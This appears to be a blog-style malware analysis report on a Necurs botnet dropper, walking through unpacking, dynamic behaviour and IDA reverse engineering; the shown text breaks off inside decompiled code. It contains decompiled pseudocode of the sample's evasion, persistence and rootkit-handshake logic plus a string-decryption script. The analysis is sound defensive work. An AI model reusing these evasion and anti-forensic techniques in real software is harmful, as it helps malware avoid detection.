Malware Analysis Report - Necurs Botnet#
The analyzed sample is a multi stage malware (Trojan Botnet + Dropper) belonging to the Necurs family that employs heavy packing, runtime decryption, and in-memory execution to evade detection.
It impersonates legitimate Mozilla binaries, performs extensive anti analysis and anti VM checks and establishes service based persistence under elevated privileges.
The malware dynamically resolves APIs, enforces single instance execution, and includes self deletion logic to reduce forensic artifacts and cover it’s tracks.
Additionally, it contains conditional kernel mode support, enabling enhanced stealth and control if a compatible driver is present.
Key Behaviors
- Multi-stage loader with runtime-decrypted .text sections
- Dynamic API resolution and syscall integrity verification
- Anti-debugging, anti-sandbox, and anti-VM techniques
- Service-based persistence
- Single-instance enforcement via named events
- Self-deletion and cleanup for anti-forensics
- Optional kernel-assisted rootkit functionality via driver handshake
md5 : 5a592d401148c1408708cd47ad9daa83 sha256 : 9cf11143c7a4f0129cabfe4474c70838a8c010595b676fdc6f3ae7f4b0ecff5e The filesize is around 118Kb Target - Windows
Basic Analysis#
Detect It Easy#
A very basic analysis on Detect It Easy shows us that
It is a 32 bit UPX packed binary
So we go ahead and unpack it, which still continues to show us a high compressed .text section

Which makes me wonder if there is some sort of shellcode stored in there, but inside,text would mean it would be changed internally
Certficate#
VS_VERSION_INFO StringFileInfo 000004b0 Comments LegalCopyright License: GPL 2 CompanyName Mozilla Foundation FileDescription FileVersion 30.3 ProductVersion 30.3 InternalName LegalTrademarks Mozilla OriginalFilename crashreporter.exe ProductName Firefox BuildID 20150205194243 VarFileInfo Translation
We can see the original File Name is potentially crashreporter.exe and the certificate is signed with Mozilla, so this appears to be some sort of Trojan Horse
FLoss#
Running floss on here shows us a whole bunch of stuff that gives us a pretty good Idea on what the file is supposed to be doing FLOSS OUTPUT
- **KERNEL32.DLL
- ADVAPI32.dll
- GDI32.dll
- msvcrt.dll
- ole32.dll
- OLEAUT32.dll
- SHELL32.dll
- USER32.dll**
- LCMapStringA
- VirtualProtectEx
- OpenWaitableTimerA
- AddAtomW
- GetOEMCP
- lstrcmpiW
- GetModuleHandleA
- CheckNameLegalDOS8Dot3W
- GetProcAddress
- GetVersionExW
- FormatMessageW
- GetProcessHeap
- GetTickCount
- GetStartupInfoW
- RtlUnwind
- FindFirstFileW
- LocalFree
- InterlockedDecrement
- GetConsoleFontSize
- CloseHandle
- InterlockedExchange
- OutputDebugStringW
- UnhandledExceptionFilter
- GetCurrentProcess
- ExpandEnvironmentStringsA
- HeapSetInformation
- Sleep
- GetCurrentThreadId
- GetLocalTime
- IsBadReadPtr
- HeapAlloc
- SetUnhandledExceptionFilter
- FindClose
- GetSystemDefaultLCID
- InterlockedCompareExchange
- GetVersion
- InterlockedIncrement
- HeapFree
- WideCharToMultiByte
- LoadLibraryA
- GetFileAttributesW
- GetFileAttributesA
- GetSystemTimeAsFileTime
- GetModuleHandleW
- GetEnvironmentStringsW
- GlobalAddAtomA
- CheckNameLegalDOS8Dot3A
- TerminateProcess
- ExitProcess
- **RegQueryValueExW
- RegOpenKeyExW
- RegQueryValueExA
- RegCloseKey**
- GetTextExtentPoint32A
- CreateFontIndirectA
- exit
Capa#
┌──────────────────────────────────┬───────────────────────────────────────────────────────────────┐
│ ATT&CK Tactic │ ATT&CK Technique │
├──────────────────────────────────┼───────────────────────────────────────────────────────────────┤
│ DEFENSE EVASION │ Obfuscated Files or Information [T1027] │
│ DISCOVERY │ System Information Discovery [T1082] │
└──────────────────────────────────┴───────────────────────────────────────────────────────────────┘
┌──────────────────────────┬──────────────────────────────────────────────────────────────────────────
│ MBC Objective │ MBC Behavior
├──────────────────────────┼──────────────────────────────────────────────────────────────────────────
│ ANTI-BEHAVIORAL ANALYSIS │ Debugger Detection::Anti-debugging Instructions [B0001.034]
│ DATA │ Encode Data::XOR [C0026.002]
│ DEFENSE EVASION │ Obfuscated Files or Information::Encoding-Standard Algorithm [E1027.m02]
│ DISCOVERY │ System Information Discovery [E1082]
│ FILE SYSTEM │ Get File Attributes [C0049]
└──────────────────────────┴──────────────────────────────────────────────────────────────────────────
┌─────────────────────────────────────────────────┬─────────────────────────────────────────────────┐
│ Capability │ Namespace │
├─────────────────────────────────────────────────┼─────────────────────────────────────────────────┤
│ execute anti-debugging instructions (3 matches) │ anti-analysis/anti-debugging/debugger-detection │
│ encode data using XOR │ data-manipulation/encoding/xor │
│ contains PDB path │ executable/pe/pdb │
│ query environment variable │ host-interaction/environment-variable
│ get file attributes │ host-interaction/file-system/meta
Dynamic Analysis#
Simple Run#
- Self Deleting File
- File Asks for UAC Prompt
ProcWatch#
As we can see the file,

Launches a service under the Path C:/Windows/Installer/{GUID}/syshost.exe Potentially meaning the syshost.exe could be the file that is launched
So we go to that directory and take the md5 of syshost
It has the same md5 and Sha, essentially signalling it’s the same file
So it’s safe to assume that it copies itself into that folder and launches itself as a service
SystemInformer#
Now that we know it’s a service, now using system Informer, we search for the service under the same name, the process just deletes itself

we can see the binary path as well here
So this is possibly why the UAC was required, for it to copy itself onto Windows/Installer and start a service
If it isn’t an admin it doesn’t seem to do much
Procmon#
NEC.exe#
Using Procmon also confirms, that the nec file doesn’t do anything but mostly just created and drop 2 files accordingly
1 - C:/Windows/Installer/{GUID}/syshost.exe That one was obvious we have previous seen that one as well
2 - C:/Users/Ryuzaki/AppData/Local/Temp/2797f56f.tmp
This one is new let’s go check it out
Upon taking the md5 we see it’s the same file under a different name, and it seems to be missing as well
syshost.exe#
We can see syshost doing a bunch of connects and reconnects
They seem to be operating on 3 different protocols
- DNS - Dns lookups for various IPs
- NTP - For keeping Time properply
- TCP - (This could be where the C2 could be working out of)
- UDP
Regshot#
Using regshot we get to see a lot of registry keys was changed and a lot of folders were affected, I don’t attribute all of this to the malware, but a few of them might be. But rather than wasting time by scouring through all those keys I’ll go forward with reverse engineering the malware
Reverse Engineering#
We can start wirh reverse engineering the First stage of the Malware which is
1st Stage - NEC.exe#
So this is the start of the malware,
Main#

and there seems to be a bunch of stuff going on here I saw a call to GetOEMCP, which seems to indicate some sort of Anit VM analysis check, in which case the process would exit out
But ultimately as I debug more and more I realise, not much is happening and it all comes down to here

sub_402296#
Inside this we see it’s trying to access
dword_4166AC = 3345;
GetFileAttributesW(L"9tiwluu4eskjytrvfv5m");
GetModuleHandleW(0);
GetFileAttributesA("4zf1on8d12ukf20");
dword_4166B0 = 64;
v10 = sub_40200A();
But then since those files don’t exist, it continues on
And yet again there seems to be a lot of confusing things going on,
And if you do remember, DIE showed there is still an encrypted .text area inside this binary somewhere
So now, we continue debugging with this in mind, stepping over various functions to see if we hit anything suspicious
And at the end of the function we see
So now following this jmp [ebp+arg_0]
we seem to be jumping to an offset sub_40614C
so we produce underfine and generate the code for this offset, and we continue on
sub_40614C AKA Main_Main#
So now inside Main Main we see a lot of PEB accessing, all of which is hinting dowards
Dynamic API resolving#
and what this essentially does is it get’s LoadLibraryA and Get Proc Address out of the bag and keeps it stored, which hints more towards more APIs being loaded now
so apart from the static api’s we saw when we checked out strings using FLOSS we are now going to see more dynamic apis being resolved
so as I continue debugging

And we come across this one particular function,
sub_406C7C AKA Api_Array_Init#


APIS are :
Dynamic Decryption - 0040614C addr = base @0x401000
INDEX - API 0 - VirtualAlloc 1 - VirtualFree 2 - VirtualProtect 3 - UnmapViewOfFile 4 - GetProcAddress 5 - LoadLibraryA 6 - RtlCompressBuffer 7 - RtlDecompressBuffer 8 - FlsFree And one DLL 9 - kernel32dll
They seem to be initializing an array with the API names, kind of like an Name Table
And then the immediate function below that
sub_40640B AKA API_resolve#
Essentially takes those API Names and just resolves them into their respective addresses
So as I continue to debug now I see all these APis are properly resolved into their respective Addresses and are currently on the stack

And now as we continue to debug we see VirtualAlloc being called and we see
Main Main being copied into the new virtual alloc space
After which,
sub_406E00 AKA overwrite_return_address#
is being called which
Seems to overwrite the return address on the stack with the next instruction Which is at offset unk_1E00E8
So now when we follow the offset we get to,
sub_1E00E8#
Which starts off from where we left,
so now we see the API_resolve being called another time, and so on
And as we continue debugging we get through other functions, which seem to be using VirtualALloc and VirtualProtect to allocate, change permissions and copy the own file contents to another area and as we continue debugging we see
sub_1E03F3 AKA Large_API_Resolve#
Which has LoadLibrary and GetProcAddress inside while loops
which got me intrigued, which means it’s loading up a lot of APIS
so when we set the debug point we see it accessing an array of offsets inside .text which look like this

And it takes all of these offsets, finds the appropriate name of the function and replces them with the actual function address

So we let this run and finally inspect all the apis which we get, which are
APIS resolved#
RESOLVED APIS and offsets here
- .text:0040D000 dd offset advapi32_CryptDestroyKey
- .text:0040D004 dd offset advapi32_OpenServiceW
- .text:0040D008 dd offset advapi32_DeleteService
- .text:0040D00C dd offset advapi32_StartServiceW
- .text:0040D010 dd offset advapi32_RegOpenKeyW
- .text:0040D014 dd offset advapi32_RegSetValueExW
- .text:0040D018 dd offset advapi32_RegFlushKey
- .text:0040D01C dd offset advapi32_RegCloseKey
- .text:0040D020 dd offset advapi32_SetServiceStatus
- .text:0040D024 dd offset advapi32_SetEntriesInAclW
- .text:0040D028 dd offset advapi32_InitializeSecurityDescriptor
- .text:0040D02C dd offset advapi32_SetSecurityDescriptorDacl
- .text:0040D030 dd offset advapi32_AllocateAndInitializeSid
- .text:0040D034 dd offset advapi32_GetTokenInformation
- .text:0040D038 dd offset advapi32_EqualSid
- .text:0040D03C dd offset advapi32_FreeSid
- .text:0040D040 dd offset advapi32_CryptGetHashParam
- .text:0040D044 dd offset advapi32_CryptReleaseContext
- .text:0040D048 dd offset advapi32_CryptAcquireContextW
- .text:0040D04C dd offset advapi32_CryptCreateHash
- .text:0040D050 dd offset advapi32_CryptHashData
- .text:0040D054 dd offset advapi32_CryptDeriveKey
- .text:0040D058 dd offset advapi32_CryptEncrypt
- .text:0040D05C dd offset advapi32_CryptDestroyHash
- .text:0040D060 dd offset advapi32_OpenProcessToken
- .text:0040D064 dd offset advapi32_LookupPrivilegeValueW
- .text:0040D068 dd offset advapi32_AdjustTokenPrivileges
- .text:0040D06C dd offset advapi32_OpenSCManagerA
- .text:0040D070 dd offset advapi32_CreateServiceA
- .text:0040D074 dd offset advapi32_CloseServiceHandle
- .text:0040D078 dd offset advapi32_StartServiceA
- .text:0040D07C dd offset advapi32_OpenSCManagerW
- .text:0040D080 dd offset advapi32_RegisterServiceCtrlHandlerW
- .text:0040D084 dd offset advapi32_StartServiceCtrlDispatcherW
- .text:0040D088 dd offset advapi32_SetTokenInformation
- .text:0040D08C dd offset advapi32_RegCreateKeyW
- .text:0040D090 dd offset advapi32_RegQueryValueExW
- .text:0040D094 dd offset advapi32_CryptVerifySignatureW
- .text:0040D098 dd offset advapi32_CryptImportKey
- .text:0040D09C dd offset advapi32_CryptGenRandom
- .text:0040D0A0 dd offset advapi32_DuplicateTokenEx
- .text:0040D0A4 dd offset advapi32_CheckTokenMembership
- .text:0040D0A8 dd offset advapi32_CreateProcessAsUserW
- .text:0040D0AC dd offset advapi32_CreateServiceW
- .text:0040D0B0 dd 0
- .text:0040D0B4 dd offset dnsapi_DnsQuery_W
- .text:0040D0B8 dd offset dnsapi_DnsFree
- .text:0040D0BC dd 0
- .text:0040D0C0 dd offset gdi32_DeleteObject
- .text:0040D0C4 dd offset gdi32_CreatePalette
- .text:0040D0C8 dd 0
- .text:0040D0CC dd offset kernel32_CreateEventW
- .text:0040D0D0 dd offset kernel32_GetCurrentThread
- .text:0040D0D4 dd offset kernel32_GetSystemDirectoryW
- .text:0040D0D8 dd offset kernel32_SetUnhandledExceptionFilter
- .text:0040D0DC dd offset kernel32_SetErrorMode
- .text:0040D0E0 dd offset kernel32_CopyFileW
- .text:0040D0E4 dd offset kernel32_CreateDirectoryW
- .text:0040D0E8 dd offset kernel32_GetWindowsDirectoryW
- .text:0040D0EC dd offset kernel32_GetModuleFileNameW
- .text:0040D0F0 dd offset kernel32_OpenEventW
- .text:0040D0F4 dd offset kernel32_OpenProcess
- .text:0040D0F8 dd offset kernel32_GetCommandLineW
- .text:0040D0FC dd offset kernel32_GetUserDefaultUILanguage
- .text:0040D100 dd offset kernel32_GetUserDefaultLangID
- .text:0040D104 dd offset kernel32_GetSystemDefaultLangID
- .text:0040D108 dd offset kernel32_UnmapViewOfFile
- .text:0040D10C dd offset kernel32_ResumeThread
- .text:0040D110 dd offset kernel32_SetThreadContext
- .text:0040D114 dd offset kernel32_GetThreadContext
- .text:0040D118 dd offset kernel32_VirtualFreeEx
- .text:0040D11C dd offset kernel32_GetVolumeNameForVolumeMountPointW
- .text:0040D120 dd offset kernel32_FlushFileBuffers
- .text:0040D124 dd offset kernel32_GetExitCodeProcess
- .text:0040D128 dd offset kernel32_MoveFileExW
- .text:0040D12C dd offset kernel32_SetFileAttributesW
- .text:0040D130 dd offset ntdll_RtlTryEnterCriticalSection
- .text:0040D134 dd offset kernel32_LocalFree
- .text:0040D138 dd offset kernel32_WideCharToMultiByte
- .text:0040D13C dd offset kernel32_MapViewOfFile
- .text:0040D140 dd offset kernel32_CreateFileMappingW
- .text:0040D144 dd offset kernel32_Process32NextW
- .text:0040D148 dd offset kernel32_Process32FirstW
- .text:0040D14C dd offset kernel32_CreateToolhelp32Snapshot
- .text:0040D150 dd offset kernel32_GetSystemTimeAsFileTime
- .text:0040D154 dd offset kernel32_GetSystemTime
- .text:0040D158 dd offset kernel32_FileTimeToSystemTime
- .text:0040D15C dd offset kernel32_SetThreadAffinityMask
- .text:0040D160 dd offset kernel32_CreateRemoteThread
- .text:0040D164 dd offset kernel32_WaitForMultipleObjects
- .text:0040D168 dd offset kernel32_SetLastError
- .text:0040D16C dd offset kernel32_ReadProcessMemory
- .text:0040D170 dd offset kernel32_CreateThread
- .text:0040D174 dd offset kernel32_WaitForSingleObject
- .text:0040D178 dd offset kernel32_GetExitCodeThread
- .text:0040D17C dd offset kernel32_ExitProcess
- .text:0040D180 dd offset kernel32_VirtualProtect
- .text:0040D184 dd offset kernel32_LoadLibraryExA
- .text:0040D188 dd offset kernel32_IsProcessorFeaturePresent
- .text:0040D18C dd offset kernel32_GetProcessHeap
- .text:0040D190 dd offset ntdll_RtlAllocateHeap
- .text:0040D194 dd offset kernel32_HeapFree
- .text:0040D198 dd offset kernel32_LoadLibraryW
- .text:0040D19C dd offset kernel32_GetModuleHandleW
- .text:0040D1A0 dd offset kernel32_GetVersionExW
- .text:0040D1A4 dd offset ntdll_VerSetConditionMask
- .text:0040D1A8 dd offset kernel32_VerifyVersionInfoW
- .text:0040D1AC dd offset kernel32_VirtualAllocEx
- .text:0040D1B0 dd offset kernel32_QueueUserWorkItem
- .text:0040D1B4 dd offset kernel32_WriteProcessMemory
- .text:0040D1B8 dd offset kernel32_VirtualAlloc
- .text:0040D1BC dd offset kernel32_LoadLibraryA
- .text:0040D1C0 dd offset kernel32_FreeLibrary
- .text:0040D1C4 dd offset kernel32_VirtualFree
- .text:0040D1C8 dd offset kernel32_GetCurrentThreadId
- .text:0040D1CC dd offset kernel32_SystemTimeToFileTime
- .text:0040D1D0 dd offset kernel32_SystemTimeToTzSpecificLocalTime
- .text:0040D1D4 dd offset kernel32_GetLastError
- .text:0040D1D8 off_40D1D8 dd offset kernel32_GetCurrentProcess
- .text:0040D1D8 ; DATA XREF: .text:00401035↑r
- .text:0040D1DC dd offset kernel32_CreateProcessW
- .text:0040D1E0 dd offset kernel32_GetFileSize
- .text:0040D1E4 dd offset kernel32_ReadFile
- .text:0040D1E8 dd offset kernel32_WriteFile
- .text:0040D1EC dd offset kernel32_DeleteFileW
- .text:0040D1F0 dd offset kernel32_GetTempPathW
- .text:0040D1F4 dd offset ntdll_RtlInitializeCriticalSection
- .text:0040D1F8 dd offset ntdll_RtlEnterCriticalSection
- .text:0040D1FC dd offset ntdll_RtlLeaveCriticalSection
- .text:0040D200 dd offset kernel32_MultiByteToWideChar
- .text:0040D204 dd offset kernel32_Sleep
- .text:0040D208 dd offset kernel32_CreateFileW
- .text:0040D20C dd offset kernel32_GetCurrentProcessId
- .text:0040D210 dd offset kernel32_DeviceIoControl
- .text:0040D214 dd offset kernel32_CloseHandle
- .text:0040D218 dd offset kernel32_GetSystemDirectoryA
- .text:0040D21C dd offset kernel32_GetTickCount
- .text:0040D220 dd offset kernel32_GetModuleFileNameA
- .text:0040D224 dd offset kernel32_WinExec
- .text:0040D228 off_40D228 dd offset kernel32_GetModuleHandleA
- .text:0040D228 ; DATA XREF: .text:0040101B↑r
- .text:0040D22C off_40D22C dd offset kernel32_GetProcAddress
- .text:0040D22C ; DATA XREF: .text:00401022↑r
- .text:0040D230 dd offset kernel32_TerminateProcess
- .text:0040D234 dd 0
- .text:0040D238 dd offset shell32_ShellExecuteA
- .text:0040D23C dd offset shell32_IsUserAnAdmin
- .text:0040D240 dd offset shell32_SHGetFolderPathW
- .text:0040D244 dd 0
- .text:0040D248 dd offset user32_RegisterClassExW
- .text:0040D24C dd offset user32_CreateMenu
- .text:0040D250 dd offset user32_AppendMenuW
- .text:0040D254 dd offset user32_CreatePopupMenu
- .text:0040D258 dd offset user32_EnableScrollBar
- .text:0040D25C dd offset user32_GetPropA
- .text:0040D260 dd offset user32_RemovePropA
- .text:0040D264 dd offset user32_GetMenuItemRect
- .text:0040D268 dd offset user32_GetClientRect
- .text:0040D26C dd offset user32_CreateWindowExW
- .text:0040D270 dd offset user32_DestroyWindow
- .text:0040D274 dd offset user32_SendInput
- .text:0040D278 dd offset user32_GetSystemMetrics
- .text:0040D27C dd offset user32_UnregisterClassW
- .text:0040D280 dd offset user32_SetPropA
- .text:0040D284 dd offset user32_ExitWindowsEx
- .text:0040D288 dd offset ntdll_NtdllDefWindowProc_W
- .text:0040D28C dd 0
- .text:0040D290 dd offset userenv_ExpandEnvironmentStringsForUserW
- .text:0040D294 dd offset userenv_DestroyEnvironmentBlock
- .text:0040D298 dd offset userenv_CreateEnvironmentBlock
- .text:0040D29C dd 0
- .text:0040D2A0 dd offset uxtheme_IsThemeActive
- .text:0040D2A4 dd 0
- .text:0040D2A8 dd offset wininet_InternetConnectW
- .text:0040D2AC dd offset wininet_InternetCrackUrlW
- .text:0040D2B0 dd offset wininet_HttpOpenRequestW
- .text:0040D2B4 dd offset wininet_HttpQueryInfoW
- .text:0040D2B8 dd offset wininet_InternetCloseHandle
- .text:0040D2BC dd offset wininet_InternetSetOptionW
- .text:0040D2C0 dd offset wininet_InternetOpenW
- .text:0040D2C4 dd offset wininet_HttpSendRequestW
- .text:0040D2C8 dd offset wininet_HttpAddRequestHeadersW
- .text:0040D2CC dd offset wininet_InternetQueryOptionW
- .text:0040D2D0 dd offset wininet_InternetReadFile
- .text:0040D2D4 dd 0
- .text:0040D2D8 dd offset ws2_32_listen
- .text:0040D2DC dd offset ws2_32_bind
- .text:0040D2E0 dd offset ws2_32_htons
- .text:0040D2E4 dd offset ws2_32_recv
- .text:0040D2E8 dd offset ws2_32_getaddrinfo
- .text:0040D2EC dd offset ws2_32_shutdown
- .text:0040D2F0 dd offset ws2_32_send
- .text:0040D2F4 dd offset ws2_32_sendto
- .text:0040D2F8 dd offset ws2_32_accept
- .text:0040D2FC dd offset ws2_32_recvfrom
- .text:0040D300 dd offset ws2_32___WSAFDIsSet
- .text:0040D304 dd offset ws2_32_select
- .text:0040D308 dd offset ws2_32_socket
- .text:0040D30C dd offset ws2_32_connect
- .text:0040D310 dd offset ws2_32_FreeAddrInfoW
- .text:0040D314 dd offset ws2_32_WSAStartup
- .text:0040D318 dd offset ws2_32_getsockname
- .text:0040D31C dd offset ws2_32_getpeername
- .text:0040D320 dd offset ws2_32_closesocket
- .text:0040D324 dd offset ws2_32_setsockopt
- .text:0040D328 dd offset ws2_32_inet_addr
- .text:0040D32C dd 0
- .text:0040D330 dd offset msvcrt__unlink
- .text:0040D334 dd offset msvcrt_fclose
- .text:0040D338 dd offset msvcrt_fwrite
- .text:0040D33C dd offset msvcrt_fopen
- .text:0040D340 dd offset msvcrt_sprintf
- .text:0040D344 dd offset msvcrt_free
- .text:0040D348 dd offset msvcrt__time64
- .text:0040D34C dd offset msvcrt__wcsicmp
- .text:0040D350 dd offset msvcrt__wcsdup
- .text:0040D354 dd offset msvcrt__vsnwprintf
- .text:0040D358 dd offset msvcrt_malloc
- .text:0040D35C dd offset msvcrt_memcpy
- .text:0040D360 dd offset msvcrt_memset
- .text:0040D364 dd offset msvcrt__except_handler3
- .text:0040D368 dd offset msvcrt__strcmpi
- .text:0040D36C dd offset msvcrt_getenv
- .text:0040D370 dd offset msvcrt_memmove
- .text:0040D374 dd offset msvcrt_calloc
- .text:0040D378 dd offset msvcrt_wcschr
- .text:0040D37C dd offset msvcrt_wcsstr
- .text:0040D380 dd offset msvcrt__wcsnicmp
- .text:0040D384 dd offset msvcrt__wtoi
- .text:0040D388 dd offset msvcrt__ftol
- .text:0040D38C dd offset msvcrt_wcsrchr
- .text:0040D390 dd offset msvcrt__errno
- .text:0040D394 dd offset msvcrt__itoa
- .text:0040D398 dd offset msvcrt_qsort
- .text:0040D39C dd offset msvcrt_bsearch
- .text:0040D3A0 dd offset msvcrt_strcspn
- .text:0040D3A4 dd offset msvcrt_realloc
After all that is done
Now we finally get to another important function which is
sub_1E0C39#
int __cdecl sub_1E0C39(int (*a1)(void), int a2, unsigned int a3, int a4, unsigned int a5, int a6, int a7)
{
struct _EXCEPTION_REGISTRATION_RECORD *i; // eax
unsigned int Handler; // edx
int *j; // edx
unsigned int v10; // eax
int (*v11)(void); // ecx
int savedregs; // [esp+0h] [ebp+0h] BYREF
for ( i = NtCurrentTeb()->NtTib.ExceptionList; ; i = i->Next )
{
Handler = (unsigned int)i->Handler;
if ( Handler < a3 || Handler >= a4 + a3 )
break;
}
for ( j = &savedregs; ; j = (int *)*j )
{
v10 = j[1];
if ( v10 >= a5 && v10 < a6 + a5 )
break;
}
v11 = a1;
if ( a2 == 1 )
((void (__stdcall *)(_DWORD))a1)(0);
return v11();
}
Now this function acts as the gateway for us to the encrypted part of the .text portion, so we set a breakpoint at jmp ecx, at the very end of the function and we

Continue onwards in this,
and we see the instruction have to be literally defined again in IDA, and as we scroll we see it seems to have overwritten our API_Array_Init function and etc

sub_00406232 AKA jmp_ecx_main#
This is a very important function as the malware’s core is carried out here
So far inside the malware, it was all mostly just setting up and all the malicious code continues like so in the function from here on out,
And as this seems to be under a SEH prolog, so it’s compiler generated, which means the malware creator has potentially employed a bunch of SEH exception handler based control flow re-direction
This is what the function looks like and we’ll slowly continue to debug this function
// write access to const memory has been detected, the output may be wrong!
// bad sp value at call has been detected, the output may be wrong!
void __noreturn jmp_ecx_main()
{
int v0; // eax
int v1; // eax
int v2; // eax
int v3; // esi
int v4; // eax
char v5; // al
int v6; // eax
const unsigned __int16 *v7; // esi
int v8; // eax
char v9[520]; // [esp+Ch] [ebp-2B4h] BYREF
char v10[128]; // [esp+214h] [ebp-ACh] BYREF
int v11[4]; // [esp+294h] [ebp-2Ch] BYREF
int v12; // [esp+2A4h] [ebp-1Ch]
CPPEH_RECORD ms_exc; // [esp+2A8h] [ebp-18h]
int savedregs; // [esp+2C0h] [ebp+0h]
v12 = ((int (*)(void))kernel32_GetCommandLineW)();
v0 = ((int (__cdecl *)(int, int))msvcrt_wcsstr)(v12, 4251872);
if ( v0 )
{
v1 = ((int (__cdecl *)(int))msvcrt__wtoi)(v0 + 10);
v2 = ((int (__cdecl *)(void *, _DWORD, int))kernel32_OpenProcess)(&unk_100000, 0, v1);
v3 = v2;
if ( v2 )
{
((void (__cdecl *)(int, int))kernel32_WaitForSingleObject)(v2, -1);
((void (__cdecl *)(int))kernel32_CloseHandle)(v3);
}
}
if ( !((int (__cdecl *)(_DWORD, char *, int))kernel32_GetModuleFileNameW)(0, v9, 260) )
goto LABEL_28;
dword_410200[573] = ((int (__cdecl *)(_DWORD))kernel32_GetModuleHandleW)(0);
if ( !sub_40B130(0, v9) )
goto LABEL_28;
if ( sub_40503C() )
dword_410200[572] = sub_404E50(-1, 0);
sub_40763E();
if ( !((int (__cdecl *)(char *, int, int))((char *)&locret_4021E8 + 3))(v9, 260, 4251860) )
sub_407522(v9);
if ( !sub_40B38D(2015630262, -1061518090, v10, 64, 2)
|| sub_401D67(4262944, 64, 4251840, (char)v10)
|| sub_401D67(4262816, 64, 4251820, (char)v10) )
{
LABEL_28:
((void (__stdcall *)(_DWORD, struct _EH3_EXCEPTION_REGISTRATION *, PVOID, PSCOPETABLE_ENTRY, DWORD, int))kernel32_ExitProcess)(
0,
ms_exc.registration.Next,
ms_exc.registration.ExceptionHandler,
ms_exc.registration.ScopeTable,
ms_exc.registration.TryLevel,
savedregs);
JUMPOUT(0x406490);
}
v4 = sub_4012B9(0, 0);
dword_410200[576] = v4;
if ( v4 )
{
if ( v4 != -1 )
{
v5 = ((int (*)(void))kernel32_GetCurrentProcessId)();
sub_401592(v5);
LABEL_21:
if ( ((int (__cdecl *)(int, int))msvcrt_wcsstr)(v12, 4251800) )
{
v11[0] = 4249328;
v11[1] = (int)&loc_4061BB;
v11[2] = 0;
v11[3] = 0;
((void (__cdecl *)(int *))advapi32_StartServiceCtrlDispatcherW)(v11);
}
else
{
v6 = ((int (__cdecl *)(int, int))msvcrt_wcsstr)(v12, 4251788);
v7 = (const unsigned __int16 *)v6;
if ( v6 )
{
v8 = ((int (__cdecl *)(int, int))msvcrt_wcschr)(v6 + 10, 32);
if ( !v8 )
v8 = (int)&v7[wcslen(v7)];
sub_40C564(4262688, v7 + 5, 2 * ((v8 - (int)v7) >> 1) - 10);
}
sub_405BAC(0);
}
goto LABEL_28;
}
}
else if ( !((int (__cdecl *)(void *, _DWORD, int))kernel32_OpenEventW)(&unk_100000, 0, 4262944)
&& !((int (__cdecl *)(void *, _DWORD, int))kernel32_OpenEventW)(&unk_100000, 0, 4262816) )
{
if ( !((int (*)(void))loc_405D81)() )
sub_4077B9(0, 0);
goto LABEL_21;
}
sub_4077B9(0, 0);
}
So as wel go in, it first checks whether the program was launched with a /pid: NUMBER command-line argument and if it’s open then it accesses that process with only SYNCHRONIZE rights and blocks on it using WaitForSingleObject until the target process exits.
It uses the PID as a coordination mechanism so this instance stays dormant until anotherIprocess terminates.
Then it gets the module FileName and the Handle then uses that to conduct it’s own integrity check under the function
sub_0040B130 AKA integrity_check#
It maps it’s own image, and parses it to check if nothing has been tampered with and in which case it continues, else it exits
It is potentially checking for inline hooks etc.
Another Integrity check in the function right below
sub_40503C AKA NtQueryVirtualMemory_check#
This again checks if NtQueryVirtualMemroy still resides only inside the .text part of ntdll and if not then it means it has been tampered with
sub_40763E AKA Token_Manipulation#

This function opens its own process token and disables UAC virtualization so the program interacts with the real filesystem and registry rather than Windows per‑user virtualized views, ensuring predictable low‑level behavior for later stages
Then in the next function sub_4021EB it takes out file name and combines it with .tmp and calls the next function with this as the argument
sub_4021EB AKA check file_flush#
It checks if our files which is C:/Users/Ryuzaki/Mal_Int/nec.exe.tmp exists and if it does, then it writes to it, 0s, basically zeroing out the entire file and then deletes it to remove forensic traces.
if file doesn’t exist (which is our case, it just continues to delete and return)
Then it goes onto the next function
sub_40B38D AKA string decryption#
Which takes two args a1 and a2, decrypts it and writes it to a3
The python equivalent is over here#
def ror1(byte):
return ((byte >> 1) | ((byte & 1) << 7)) & 0xFF
def decrypt_string(encrypted_bytes):
decrypted = bytearray()
for b in encrypted_bytes:
d = (ror1(b) - 104) & 0xFF
if d == 0:
break
decrypted.append(d)
return decrypted.decode('utf-8')
encrypted = bytearray([
0xA2, 0xB4, 0xC3, 0xD1, 0x00
])
plaintext = decrypt_string(encrypted)
print("Decrypted string:", plaintext)
utf16_bytes = plaintext.encode('utf-16')
print("UTF-16 bytes:", utf16_bytes)
And we get the value “NitrGB”
Which looks really suspicious, like a potential key, or perhaps some windows variable So we go ahead and google this

And surprisingly enough we see what type of file it is
It is a well known botnet, the Trojan:Win32/Necurs
Ideally, we would have continued looking up the yara rules and the necessary, related items and existing reports to get a full fledged idea
But anywho, we keep continuing to dig more into the file now
The next two functions

Just simply join the two strings together and keep them in memory

Next function is
sub_4012B9 AKA rootkit_capability#
// write access to const memory has been detected, the output may be wrong!
int __usercall sub_4012B9@<eax>(int a1@<edi>, __int64 a2)
{
bool v2; // zf
unsigned __int64 v3; // rax
int v4; // eax
int result; // eax
int v6; // [esp+0h] [ebp-30h]
int v7[2]; // [esp+4h] [ebp-2Ch] BYREF
int v8; // [esp+Ch] [ebp-24h]
int v9; // [esp+10h] [ebp-20h]
int v10; // [esp+14h] [ebp-1Ch]
int v11; // [esp+18h] [ebp-18h]
int v12[3]; // [esp+1Ch] [ebp-14h] BYREF
unsigned int v13; // [esp+28h] [ebp-8h] BYREF
int v14; // [esp+2Ch] [ebp-4h] BYREF
dword_40FE80[111] = ((int (__stdcall *)(const wchar_t *, _DWORD, _DWORD, _DWORD, int, _DWORD, _DWORD))kernel32_CreateFileW)(
L"/////PCI#VEN_25AF&DEV_0209&SUBSYS_070455AF&REV_00",
0,
0,
0,
3,
0,
0);
v2 = a2 == 0;
v3 = __rdtsc();
if ( v2 )
{
v12[0] = v3 ^ 0x51;
v12[1] = v3 ^ 0xDEADC08F;
v12[2] = v3 ^ 0x51 ^ ((int (__stdcall *)(int, int, int, int, int, int, int, int))kernel32_GetCurrentProcessId)(
a1,
v6,
v7[0],
v7[1],
v8,
v9,
v10,
v11);
v4 = ((int (__cdecl *)(_DWORD, void *, int *, int, _DWORD, _DWORD, int *, _DWORD))kernel32_DeviceIoControl)(
0,
&unk_220000,
v12,
12,
0,
0,
&v14,
0);
}
else
{
((void (__stdcall *)(int, int, _DWORD, _DWORD, int, int, int, int))kernel32_GetCurrentProcessId)(
a1,
v6,
v3,
__ROL4__(v3 ^ 0x83E3E754, 11),
v8,
v9,
v10,
v11);
v4 = ((int (__cdecl *)(_DWORD, void *, int *, int, _DWORD, _DWORD, int *, _DWORD))kernel32_DeviceIoControl)(
0,
